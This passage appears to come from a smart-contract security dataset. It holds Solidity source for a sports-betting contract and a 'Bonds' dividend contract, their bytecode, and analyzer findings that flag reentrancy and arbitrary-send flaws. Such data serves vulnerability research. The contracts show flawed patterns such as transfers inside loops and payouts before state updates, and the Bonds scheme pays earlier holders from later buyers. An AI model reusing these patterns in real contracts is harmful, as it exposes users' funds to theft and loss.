function getBalance() view public returns (uint) {
return address(this).balance;
}
/**
* @dev if there are some reasons lead game postpone or cancel
* the bet will also cancel and refund every bet
*/
function refund() onlyOwner public {
for (uint i = 0; i < players.length; i++) {
players[i].transfer(playerInfo[players[i]].betAmount);
LogRefund(players[i], playerInfo[players[i]].betAmount);
}
isBetClosed = true;
LogBetClosed(true, now);
withdraw();
}
/**
* @dev dealer can withdraw the remain ether after refund or closed
*/
function withdraw() internal {
require(isBetClosed);
uint _balance = address(this).balance;
betInfo.dealer.transfer(_balance);
LogDealerWithdraw(betInfo.dealer, _balance);
}
/**
* @dev distribute ether to every winner as they choosed odds
*/
function distributeReward(uint winOdds) internal {
for (uint i = 0; i < players.length; i++) {
if (playerInfo[players[i]].choice == winChoice) {
players[i].transfer(winOdds.mul(playerInfo[players[i]].betAmount).div(100));
LogDistributeReward(players[i], winOdds.mul(playerInfo[players[i]].betAmount).div(100), i);
}
}
}
}
contract BetCenter is Ownable {
mapping(bytes32 => Bet[]) public bets;
mapping(bytes32 => bytes32[]) public gameIds;
event LogCreateBet(address indexed dealerAddr, address betAddr, bytes32 indexed category, uint indexed startTime);
function() payable public {}
function createBet(bytes32 category, bytes32 gameId, uint minimumBet,
uint8 spread, uint16 leftOdds, uint16 middleOdds, uint16 rightOdds, uint8 flag,
uint startTime, uint8 confirmations) payable public {
Bet bet = (new Bet).value(msg.value)(msg.sender, category, gameId, minimumBet,
spread, leftOdds, middleOdds, rightOdds , flag, startTime, confirmations, owner);
bets[category].push(bet);
gameIds[category].push(gameId);
LogCreateBet(msg.sender, bet, category, startTime);
}
/**
* @dev fetch bets use category
* @param category Indicate the sports events type
*/
function getBetsByCategory(bytes32 category) view public returns (Bet[]) {
return bets[category];
}
function getGameIdsByCategory(bytes32 category) view public returns (bytes32 []) {
return gameIds[category];
}
}
|
0x6060604052600436106100825763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663728efa3d81146100845780637789fc90146100b95780637c9d8bdb146100f65780638da5cb5b1461015f578063a695cacf14610172578063dd4e9d6114610188578063f2fde38b146101b3575b005b341561008f57600080fd5b61009d6004356024356101d2565b604051600160a060020a03909116815260200160405180910390f35b61008260043560243560443560ff60643581169061ffff60843581169160a43582169160c435169060e43581169061010435906101243516610209565b341561010157600080fd5b61010c600435610393565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561014b578082015183820152602001610133565b505050509050019250505060405180910390f35b341561016a57600080fd5b61009d61040d565b341561017d57600080fd5b61010c60043561041c565b341561019357600080fd5b6101a160043560243561048c565b60405190815260200160405180910390f35b34156101be57600080fd5b610082600160a060020a03600435166104ba565b6001602052816000526040600020818154811015156101ed57fe5b600091825260209091200154600160a060020a03169150829050565b600034338c8c8c8c8c8c8c8c8c8c6000809054906101000a9004600160a060020a0316610234610555565b600160a060020a039c8d168152602081019b909b526040808c019a909a5260608b019890985260ff96871660808b015261ffff95861660a08b015293851660c08a01529190931660e0880152918316610100870152610120860191909152166101408401529092166101608201526101800190518091039082f08015156102ba57600080fd5b60008d81526001602081905260409091208054929450925081016102de8382610565565b506000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790558c8252600290526040902080546001810161032e8382610565565b5060009182526020909120018a9055828b600160a060020a0333167fb35cd5bdfbf32062fb2415da5b2cdcfcaf2ad430a0354adb97d8422adadd9cab84604051600160a060020a03909116815260200160405180910390a45050505050505050505050565b61039b61058e565b60008281526001602090815260409182902080549092909182810201905190810160405280929190818152602001828054801561040157602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116103e3575b50505050509050919050565b600054600160a060020a031681565b61042461058e565b60008281526002602090815260409182902080549092909182810201905190810160405280929190818152602001828054801561040157602002820191906000526020600020905b8154815260019091019060200180831161046c5750505050509050919050565b6002602052816000526040600020818154811015156104a757fe5b6000918252602090912001549150829050565b60005433600160a060020a039081169116146104d557600080fd5b600160a060020a03811615156104ea57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b604051611d35806105c283390190565b815481835581811511610589576000838152602090206105899181019083016105a0565b505050565b60206040519081016040526000815290565b6105be91905b808211156105ba57600081556001016105a6565b5090565b9056006060604090815260028054600160a060020a0319908116736690e2698bfa407db697e69a11ea56810454549b179091556003805490911673282b192518fc09568de0e66df8e2533f88c166721790556005805460d860020a60ff021960a860020a61ffff02199091167601000000000000000000000000000000000000000000001716905560006006555161018080611d3583398101604052808051919060200180519190602001805191906020018051919060200180519190602001805191906020018051919060200180519190602001805191906020018051919060200180519190602001805160008054600160a060020a03191633600160a060020a031617905591505060ff84166001148061011b57508360ff166003145b151561012657600080fd5b42831161013257600080fd5b67016345785d8a000034101561014757600080fd5b60055460ff7601000000000000000000000000000000000000000000009091048116908316101561017757600080fd5b60138054600160a060020a0319908116600160a060020a039e8f161790915534601255600f8054600d9d909d55600e9b909b5560109990995561ff0019909a1661010060ff948516021760ff19169683169690961763ffff000019166201000061ffff968716021765ffff000000001916640100000000948616949094029390931767ffff000000000000191666010000000000009290941691909102929092179094556011939093556005805460b060020a60ff0219167601000000000000000000000000000000000000000000009290941691909102929092179091556000805490911691909216178155611ac190819061027490396000f3006060604052600436106101715763ffffffff60e060020a6000350416630f9f998e8114610173578063107bf28c1461019c57806310fe7c481461022657806312065fe01461023157806323568603146102565780633f3a279d146102855780634081d916146102db578063446155cd1461030e5780634b114691146103385780634d2526b41461036f5780634e2bdfd4146103825780634f25b9ce146103ce578063590e1ae3146103e1578063613f4594146103f45780637b55f66e14610407578063837708e2146104275780638954f5b11461043a5780638b5b9ccc1461044d5780638da5cb5b146104b35780639cf5d607146104c6578063a9a29afa146104d9578063bb03948e146104ec578063c6e715e1146104ff578063c94727f014610507578063cfe7b77014610520578063d70d9254146105a8578063e06868e2146105bb578063eaa968cc146105ce578063eadf76c5146105e1578063f2fde38b146105f4578063f71d96cb14610613575b005b341561017e57600080fd5b610186610629565b60405160ff909116815260200160405180910390f35b34156101a757600080fd5b6101af61064c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101eb5780820151838201526020016101d3565b50505050905090810190601f1680156102185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101716004356106ea565b341561023c57600080fd5b610244610853565b60405190815260200160405180910390f35b341561026157600080fd5b610269610862565b604051600160a060020a03909116815260200160405180910390f35b341561029057600080fd5b610298610871565b60405160ff968716815294861660208601529290941660408085019190915261ffff918216606085015293166080830152151560a082015260c001905180910390f35b34156102e657600080fd5b6102fa600160a060020a03600435166108de565b604051901515815260200160405180910390f35b341561031957600080fd5b610321610911565b60405161ffff909116815260200160405180910390f35b341561034357600080fd5b610357600160a060020a0360043516610922565b60405191825260208201526040908101905180910390f35b341561037a57600080fd5b61026961093b565b341561038d57600080fd5b61039561094a565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b34156103d957600080fd5b610244610964565b34156103ec57600080fd5b61017161096a565b34156103ff57600080fd5b610244610b3a565b341561041257600080fd5b61017161ffff60043581169060243516610b40565b341561043257600080fd5b610244610d58565b341561044557600080fd5b610186610d5e565b341561045857600080fd5b610460610d6e565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561049f578082015183820152602001610487565b505050509050019250505060405180910390f35b34156104be57600080fd5b610269610dd6565b34156104d157600080fd5b610186610de5565b34156104e457600080fd5b610244610e07565b34156104f757600080fd5b610321610e28565b610171610e39565b341561051257600080fd5b610186600435602435610e60565b341561052b57600080fd5b610533610eed565b6040519a8b5260208b019990995260ff9788166040808c01919091529690971660608a015261ffff94851660808a015292841660a0890152921660c087015260e0860191909152610100850152610120840191909152600160a060020a03909116610140830152610160909101905180910390f35b34156105b357600080fd5b6102fa610f4d565b34156105c657600080fd5b610244610f5d565b34156105d957600080fd5b610171610f63565b34156105ec57600080fd5b6102446111db565b34156105ff57600080fd5b610171600160a060020a03600435166111e1565b341561061e57600080fd5b61026960043561127c565b600554760100000000000000000000000000000000000000000000900460ff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e25780601f106106b7576101008083540402835291602001916106e2565b820191906000526020600020905b8154815290600101906020018083116106c557829003601f168201915b505050505081565b60115442106106f857600080fd5b80600114806107075750806002145b806107125750806003145b151561071d57600080fd5b60105434101561072c57600080fd5b610735336108de565b1561073f57600080fd5b61074981346112a4565b151561075457600080fd5b600160a060020a0333166000908152600c6020526040902034808255600190910182905560065461078a9163ffffffff6113aa16565b600655600a546107a190600163ffffffff6113aa16565b600a556107ae81346113b9565b600b8054600181016107c083826119c2565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a038116919091179091557fe30c5c2cba8a36d53ebd7fc205f3c93aa38345f9331e1338a77c1df62507c8719082346040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150565b600160a060020a033016315b90565b600254600160a060020a031681565b60055460ff60a060020a820481169275010000000000000000000000000000000000000000008304821692760100000000000000000000000000000000000000000000810483169261ffff60b860020a830481169360c860020a84049091169260d860020a900490911690565b600160a060020a0381166000908152600c602052604081206001015415156109085750600061090c565b5060015b919050565b60055460b860020a900461ffff1681565b600c602052600090815260409020805460019091015482565b600354600160a060020a031681565b600a54600654600754600854600954601254909192939495565b60095481565b6000805433600160a060020a0390811691161461098657600080fd5b5060005b600b54811015610ac757600b8054829081106109a257fe5b6000918252602082200154600b8054600160a060020a03909216926108fc92600c9290869081106109cf57fe5b6000918252602080832090910154600160a060020a031683528201929092526040908101909120548015909202919051600060405180830381858888f193505050501515610a1c57600080fd5b7fb6c0eca8138e097d71e2dd31e19a1266487f0553f170b7260ffe68bcbe9ff8a7600b82815481101515610a4c57fe5b6000918252602082200154600b8054600160a060020a0390921692600c9290919086908110610a7757fe5b6000918252602080832090910154600160a060020a031683528201929092526040908101909120549051600160a060020a03909216825260208201526040908101905180910390a160010161098a565b600580547bff000000000000000000000000000000000000000000000000000000191660d860020a1790557ff897a2c36fd950b13301d2bb09bf37bed2c9e10a8c8dcadab88c0525a7cd62e3600142604051911515825260208201526040908101905180910390a1610b3761141b565b50565b60065481565b60005433600160a060020a03908116911614610b5b57600080fd5b60055460d860020a900460ff1615610b7257600080fd5b6005805478ffff0000000000000000000000000000000000000000000000191660b860020a61ffff8581168202929092177affff00000000000000000000000000000000000000000000000000191660c860020a85841681029190911793849055600e54600d54909490937f3361eb8240520497fe1a518e29a7f25d5e2dd148b88ccb4fd1828f894ca332739382048116929091041660405161ffff9283168152911660208201526040908101905180910390a3600554610c479061ffff60b860020a820481169160c860020a900416610e60565b6005805474ff0000000000000000000000000000000000000000191660a060020a60ff9384168102919091179182905590041660011415610c9d57600f54610c989062010000900461ffff166114c2565b610ce4565b60055460a060020a900460ff1660021415610cca57600f54610c9890640100000000900461ffff166114c2565b600f54610ce4906601000000000000900461ffff166114c2565b600580547bff000000000000000000000000000000000000000000000000000000191660d860020a1790557ff897a2c36fd950b13301d2bb09bf37bed2c9e10a8c8dcadab88c0525a7cd62e3600042604051911515825260208201526040908101905180910390a1610d5461141b565b5050565b60085481565b60055460a060020a900460ff1681565b610d766119eb565b600b805480602002602001604051908101604052809291908181526020018280548015610dcc57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610dae575b5050505050905090565b600054600160a060020a031681565b6005547501000000000000000000000000000000000000000000900460ff1681565b600a54600090610e2390655f7f37b3900063ffffffff61166916565b905090565b60055460c860020a900461ffff1681565b601054341015610e4857600080fd5b601254610e5b903463ffffffff6113aa16565b601255565b600f54600090819060ff161515610e9a5782841115610e8157506001610e95565b82841415610e9157506002610e95565b5060035b610ee2565b600f5460ff6101009091041660011415610ec657600f5460ff16840183901115610e9157506001610e95565b600f5460ff16830184901115610ede57506003610ee2565b5060015b8091505b5092915050565b600d54600e54600f546010546011546012546013549596949560ff8086169661010087049091169561ffff6201000082048116966401000000008304821696660100000000000090930490911694909391929091600160a060020a031690565b60055460d860020a900460ff1681565b600a5481565b60055460d860020a900460ff1615610f7a57600080fd5b600e54610f8690611694565b6005805475ff0000000000000000000000000000000000000000001916750100000000000000000000000000000000000000000060ff9384168102919091177affff00000000000000000000000000000000000000000000000000191660c860020a61ffff958616021778ffff0000000000000000000000000000000000000000000000191660b860020a95909416949094029290921791829055760100000000000000000000000000000000000000000000820481169290910416101561104d57600080fd5b600e54600d546005547f3361eb8240520497fe1a518e29a7f25d5e2dd148b88ccb4fd1828f894ca332739061ffff60b860020a820481169160c860020a90041660405161ffff9283168152911660208201526040908101905180910390a36005546110cc9061ffff60b860020a820481169160c860020a900416610e60565b6005805474ff0000000000000000000000000000000000000000191660a060020a60ff938416810291909117918290559004166001141561112257600f5461111d9062010000900461ffff166114c2565b611169565b60055460a060020a900460ff166002141561114f57600f5461111d90640100000000900461ffff166114c2565b600f54611169906601000000000000900461ffff166114c2565b600580547bff000000000000000000000000000000000000000000000000000000191660d860020a1790557ff897a2c36fd950b13301d2bb09bf37bed2c9e10a8c8dcadab88c0525a7cd62e3600042604051911515825260208201526040908101905180910390a16111d961141b565b565b60075481565b60005433600160a060020a039081169116146111fc57600080fd5b600160a060020a038116151561121157600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600b80548290811061128a57fe5b600091825260209091200154600160a060020a0316905081565b60008083600114156112f557600f546007546112ee916064916112e29162010000900461ffff16906112d690886113aa565b9063ffffffff61166916565b9063ffffffff61186216565b9050611353565b836002141561132657600f546008546112ee916064916112e291640100000000900461ffff16906112d690886113aa565b600f54600954611350916064916112e2916601000000000000900461ffff16906112d690886113aa565b90505b60125460065461137a919061136e908663ffffffff6113aa16565b9063ffffffff6113aa16565b611392611385610e07565b839063ffffffff6113aa16565b11156113a15760009150610ee6565b60019150610ee6565b600082820183811015610ee257fe5b81600114156113dd576007546113d5908263ffffffff6113aa16565b600755610d54565b8160021415611401576008546113f9908263ffffffff6113aa16565b600855610d54565b600954611414908263ffffffff6113aa16565b6009555050565b60055460009060d860020a900460ff16151561143657600080fd5b50601354600160a060020a0330811631911681156108fc0282604051600060405180830381858888f19350505050151561146f57600080fd5b6013547f6516f57a9b1325f5d1412e49b41425034ca53ba34d9f8fdcb6e18fe48641273590600160a060020a031682604051600160a060020a03909216825260208201526040908101905180910390a150565b60005b600b54811015610d5457600560149054906101000a900460ff1660ff16600c6000600b848154811015156114f557fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902060010154141561166157600b80548290811061153157fe5b6000918252602082200154600b8054600160a060020a03909216926108fc9261159b926064926112e292600c92908990811061156957fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902054879063ffffffff61166916565b9081150290604051600060405180830381858888f1935050505015156115c057600080fd5b7f6479f2854b338d5b8b708aa0e11e7fad50daa12fbfb99ef8ffa9347e25953715600b828154811015156115f057fe5b906000526020600020900160009054906101000a9004600160a060020a031661162a60646112e2600c6000600b8881548110151561156957fe5b836040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a15b6001016114c5565b60008083151561167c5760009150610ee6565b5082820282848281151561168c57fe5b0414610ee257fe5b60045460009081908190600160a060020a031615806116c557506004546116c390600160a060020a0316611879565b155b156116d6576116d4600061187d565b505b600454600160a060020a03166338cc48316000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561171e57600080fd5b6102c65a03f1151561172f57600080fd5b5050506040518051600554600160a060020a0390811691161490506117de57600454600160a060020a03166338cc48316000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561179657600080fd5b6102c65a03f115156117a757600080fd5b50505060405180516005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055505b600554600160a060020a031663add4c7848560006040516060015260405160e060020a63ffffffff84160281526004810191909152602401606060405180830381600087803b151561182f57600080fd5b6102c65a03f1151561184057600080fd5b5050506040518051906020018051906020018051929791965091945092505050565b600080828481151561187057fe5b04949350505050565b3b90565b600061188761188d565b92915050565b60025460009081906118a790600160a060020a0316611879565b1115611920576002546004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905561191860408051908101604052600b81527f6574685f6d61696e6e657400000000000000000000000000000000000000000060208201526119af565b50600161085f565b60035460009061193890600160a060020a0316611879565b11156119a9576003546004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905561191860408051908101604052600b81527f6574685f726f707374656e00000000000000000000000000000000000000000060208201526119af565b50600090565b6001818051610d549291602001906119fd565b8154818355818115116119e6576000838152602090206119e6918101908301611a7b565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611a3e57805160ff1916838001178555611a6b565b82800160010185558215611a6b579182015b82811115611a6b578251825591602001919060010190611a50565b50611a77929150611a7b565b5090565b61085f91905b80821115611a775760008155600101611a815600a165627a7a72305820b450142f0c1d41afa2c240360fbc392eb437b7dc7d743d0c1434a819f021e4da0029a165627a7a72305820749addcbd21d92da75f01988c28af7bf4dd309f80f130537653aad6e2dbfe7c70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 2,677 |
0x33dcb440beb0c640fa75ac297bc2e048e6853844
|
pragma solidity ^0.4.24;
contract Bonds {
/*=================================
= MODIFIERS =
=================================*/
uint ACTIVATION_TIME = 1539302400;
modifier onlyOwner(){
require(msg.sender == dev);
_;
}
modifier isActivated(){
require(now >= ACTIVATION_TIME);
_;
}
/*==============================
= EVENTS =
==============================*/
event onBondPurchase(
address customerAddress,
uint256 incomingEthereum,
uint256 bond,
uint256 newPrice
);
event onWithdraw(
address customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address from,
address to,
uint256 bond
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "BONDS";
string public symbol = "BOND";
uint8 constant public nsDivRate = 10;
uint8 constant public devDivRate = 5;
uint8 constant public ownerDivRate = 50;
uint8 constant public distDivRate = 40;
uint8 constant public referralRate = 5;
uint8 constant public decimals = 18;
uint public totalBondValue = 9e18;
/*================================
= DATASETS =
================================*/
mapping(uint => address) internal bondOwner;
mapping(uint => uint) public bondPrice;
mapping(uint => uint) internal bondPreviousPrice;
mapping(address => uint) internal ownerAccounts;
mapping(uint => uint) internal totalBondDivs;
mapping(uint => string) internal bondName;
uint bondPriceIncrement = 110; //10% Price Increases
uint totalDivsProduced = 0;
uint public maxBonds = 200;
uint public initialPrice = 1e17; //0.1 ETH
uint public nextAvailableBond;
bool allowReferral = false;
bool allowAutoNewBond = false;
uint public bondFund = 0;
address dev;
address fundsDividendAddr;
address promoter;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
dev = msg.sender;
fundsDividendAddr = 0xBA209A9533FEAFA3c53Bc117Faf3561b5AB6B6f2;
promoter = 0xEafE863757a2b2a2c5C3f71988b7D59329d09A78;
nextAvailableBond = 13;
bondOwner[1] = promoter;
bondPrice[1] = 2e18;//initialPrice;
bondPreviousPrice[1] = 0;
bondOwner[2] = promoter;
bondPrice[2] = 15e17;//initialPrice;
bondPreviousPrice[2] = 0;
bondOwner[3] = promoter;
bondPrice[3] = 10e17;//initialPrice;
bondPreviousPrice[3] = 0;
bondOwner[4] = promoter;
bondPrice[4] = 9e17;//initialPrice;
bondPreviousPrice[4] = 0;
bondOwner[5] = promoter;
bondPrice[5] = 8e17;//initialPrice;
bondPreviousPrice[5] = 0;
bondOwner[6] = promoter;
bondPrice[6] = 7e17;//initialPrice;
bondPreviousPrice[6] = 0;
bondOwner[7] = dev;
bondPrice[7] = 6e17;//initialPrice;
bondPreviousPrice[7] = 0;
bondOwner[8] = dev;
bondPrice[8] = 5e17;//initialPrice;
bondPreviousPrice[8] = 0;
bondOwner[9] = dev;
bondPrice[9] = 4e17;//initialPrice;
bondPreviousPrice[9] = 0;
bondOwner[10] = dev;
bondPrice[10] = 3e17;//initialPrice;
bondPreviousPrice[10] = 0;
bondOwner[11] = dev;
bondPrice[11] = 2e17;//initialPrice;
bondPreviousPrice[11] = 0;
bondOwner[12] = dev;
bondPrice[12] = 1e17;//initialPrice;
bondPreviousPrice[12] = 0;
}
function addTotalBondValue(uint _new, uint _old)
internal
{
//uint newPrice = SafeMath.div(SafeMath.mul(_new,bondPriceIncrement),100);
totalBondValue = SafeMath.add(totalBondValue, SafeMath.sub(_new,_old));
}
function buy(uint _bond, address _referrer)
isActivated()
public
payable
{
require(_bond <= nextAvailableBond);
require(msg.value >= bondPrice[_bond]);
require(msg.sender != bondOwner[_bond]);
uint _newPrice = SafeMath.div(SafeMath.mul(msg.value,bondPriceIncrement),100);
//Determine the total dividends
uint _baseDividends = msg.value - bondPreviousPrice[_bond];
totalDivsProduced = SafeMath.add(totalDivsProduced, _baseDividends);
uint _nsDividends = SafeMath.div(SafeMath.mul(_baseDividends, nsDivRate),100);
uint _ownerDividends = SafeMath.div(SafeMath.mul(_baseDividends,ownerDivRate),100);
totalBondDivs[_bond] = SafeMath.add(totalBondDivs[_bond],_ownerDividends);
_ownerDividends = SafeMath.add(_ownerDividends,bondPreviousPrice[_bond]);
uint _distDividends = SafeMath.div(SafeMath.mul(_baseDividends,distDivRate),100);
// If referrer is left blank,send to FUND address
if (allowReferral && _referrer != msg.sender) {
uint _referralDividends = SafeMath.div(SafeMath.mul(_baseDividends, referralRate), 100);
_distDividends = SafeMath.sub(_distDividends, _referralDividends);
if (_referrer == 0x0) {
fundsDividendAddr.transfer(_referralDividends);
}
else {
ownerAccounts[_referrer] = SafeMath.add(ownerAccounts[_referrer], _referralDividends);
}
}
//distribute dividends to accounts
address _previousOwner = bondOwner[_bond];
address _newOwner = msg.sender;
ownerAccounts[_previousOwner] = SafeMath.add(ownerAccounts[_previousOwner],_ownerDividends);
fundsDividendAddr.transfer(_nsDividends);
bondOwner[_bond] = _newOwner;
distributeYield(_distDividends);
distributeBondFund();
//Increment the bond Price
bondPreviousPrice[_bond] = msg.value;
bondPrice[_bond] = _newPrice;
addTotalBondValue(_newPrice, bondPreviousPrice[_bond]);
emit onBondPurchase(msg.sender, msg.value, _bond, SafeMath.div(SafeMath.mul(msg.value,bondPriceIncrement),100));
}
function distributeYield(uint _distDividends) internal
{
uint counter = 1;
while (counter < nextAvailableBond) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(_distDividends, bondPrice[counter]),totalBondValue);
ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal);
totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal);
counter = counter + 1;
}
}
function distributeBondFund() internal
{
if(bondFund > 0){
uint counter = 1;
while (counter < nextAvailableBond) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(bondFund, bondPrice[counter]),totalBondValue);
ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal);
totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal);
counter = counter + 1;
}
bondFund = 0;
}
}
function extDistributeBondFund() public
onlyOwner()
{
if(bondFund > 0){
uint counter = 1;
while (counter < nextAvailableBond) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(bondFund, bondPrice[counter]),totalBondValue);
ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal);
totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal);
counter = counter + 1;
}
bondFund = 0;
}
}
function withdraw()
public
{
address _customerAddress = msg.sender;
require(ownerAccounts[_customerAddress] > 0);
uint _dividends = ownerAccounts[_customerAddress];
ownerAccounts[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
function withdrawPart(uint _amount)
public
onlyOwner()
{
address _customerAddress = msg.sender;
require(ownerAccounts[_customerAddress] > 0);
require(_amount <= ownerAccounts[_customerAddress]);
ownerAccounts[_customerAddress] = SafeMath.sub(ownerAccounts[_customerAddress],_amount);
_customerAddress.transfer(_amount);
// fire event
emit onWithdraw(_customerAddress, _amount);
}
// Fallback function: add funds to the addional distibution amount. This is what will be contributed from the exchange
// and other contracts
function()
payable
public
{
uint devAmount = SafeMath.div(SafeMath.mul(devDivRate,msg.value),100);
uint bondAmount = msg.value - devAmount;
bondFund = SafeMath.add(bondFund, bondAmount);
ownerAccounts[dev] = SafeMath.add(ownerAccounts[dev], devAmount);
}
/**
* Transfer bond to another address
*/
function transfer(address _to, uint _bond )
public
{
require(bondOwner[_bond] == msg.sender);
bondOwner[_bond] = _to;
emit Transfer(msg.sender, _to, _bond);
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyOwner()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyOwner()
public
{
symbol = _symbol;
}
function setInitialPrice(uint _price)
onlyOwner()
public
{
initialPrice = _price;
}
function setMaxbonds(uint _bond)
onlyOwner()
public
{
maxBonds = _bond;
}
function setBondPrice(uint _bond, uint _price) //Allow the changing of a bond price owner if the dev owns it
onlyOwner()
public
{
require(bondOwner[_bond] == dev);
bondPrice[_bond] = _price;
}
function addNewbond(uint _price)
onlyOwner()
public
{
require(nextAvailableBond < maxBonds);
bondPrice[nextAvailableBond] = _price;
bondOwner[nextAvailableBond] = dev;
totalBondDivs[nextAvailableBond] = 0;
bondPreviousPrice[nextAvailableBond] = 0;
nextAvailableBond = nextAvailableBond + 1;
addTotalBondValue(_price, 0);
}
function setAllowReferral(bool _allowReferral)
onlyOwner()
public
{
allowReferral = _allowReferral;
}
function setAutoNewbond(bool _autoNewBond)
onlyOwner()
public
{
allowAutoNewBond = _autoNewBond;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function getMyBalance()
public
view
returns(uint)
{
return ownerAccounts[msg.sender];
}
function getOwnerBalance(address _bondOwner)
public
view
returns(uint)
{
require(msg.sender == dev);
return ownerAccounts[_bondOwner];
}
function getBondPrice(uint _bond)
public
view
returns(uint)
{
require(_bond <= nextAvailableBond);
return bondPrice[_bond];
}
function getBondOwner(uint _bond)
public
view
returns(address)
{
require(_bond <= nextAvailableBond);
return bondOwner[_bond];
}
function gettotalBondDivs(uint _bond)
public
view
returns(uint)
{
require(_bond <= nextAvailableBond);
return totalBondDivs[_bond];
}
function getTotalDivsProduced()
public
view
returns(uint)
{
return totalDivsProduced;
}
function getBondDivShare(uint _bond)
public
view
returns(uint)
{
require(_bond <= nextAvailableBond);
return SafeMath.div(SafeMath.mul(bondPrice[_bond],10000),totalBondValue);
}
function getTotalBondValue()
public
view
returns(uint)
{
return totalBondValue;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address (this).balance;
}
function getNextAvailableBond()
public
view
returns(uint)
{
return nextAvailableBond;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101cc5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461023e5780630bcb8a23146102c8578063172c44ec146102f25780631cb8d2061461030a5780631d0806ae14610335578063313ce5671461034a578063346c1aac1461035f578063394a8698146103745780633ab74ad2146103895780633ccfd60b1461039e578063487621cc146103b55780634b21aaae146103cd5780634c738909146103e55780636b2f4632146103fa578063743434db1461040f578063763f337e1461042457806376fc53c01461043e57806377b68dae146104535780637d53409a146104685780637daf06fd146104805780637deb6025146104985780637fcf440a146104af57806386b715bd146104d057806386cf045f146104ea57806395d89b41146104ff5780639f4ba0ee14610514578063a053ce1f14610453578063a1aad09d1461052c578063a9059cbb14610547578063ae8824121461056b578063b84c824614610580578063baf3a4d4146105d9578063bb305ef2146105ee578063c47f002714610622578063ca76ecce1461067b578063e3ee6e4714610693578063fd01d4a1146106a8575b6000806101e46101dd6005346106bd565b60646106f3565b915081340390506101f76010548261070a565b601055601154600160a060020a031660009081526007602052604090205461021f908361070a565b601154600160a060020a03166000908152600760205260409020555050005b34801561024a57600080fd5b50610253610719565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028d578181015183820152602001610275565b50505050905090810190601f1680156102ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d457600080fd5b506102e06004356107a6565b60408051918252519081900360200190f35